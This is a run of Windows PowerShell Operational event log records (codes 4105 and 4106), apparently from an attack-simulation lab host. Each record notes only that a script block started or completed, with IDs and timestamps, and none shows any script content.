OpCode=On create calls
RecordNumber=2029056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029049
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029044
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029043
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029021
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029020
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029019
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029018
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
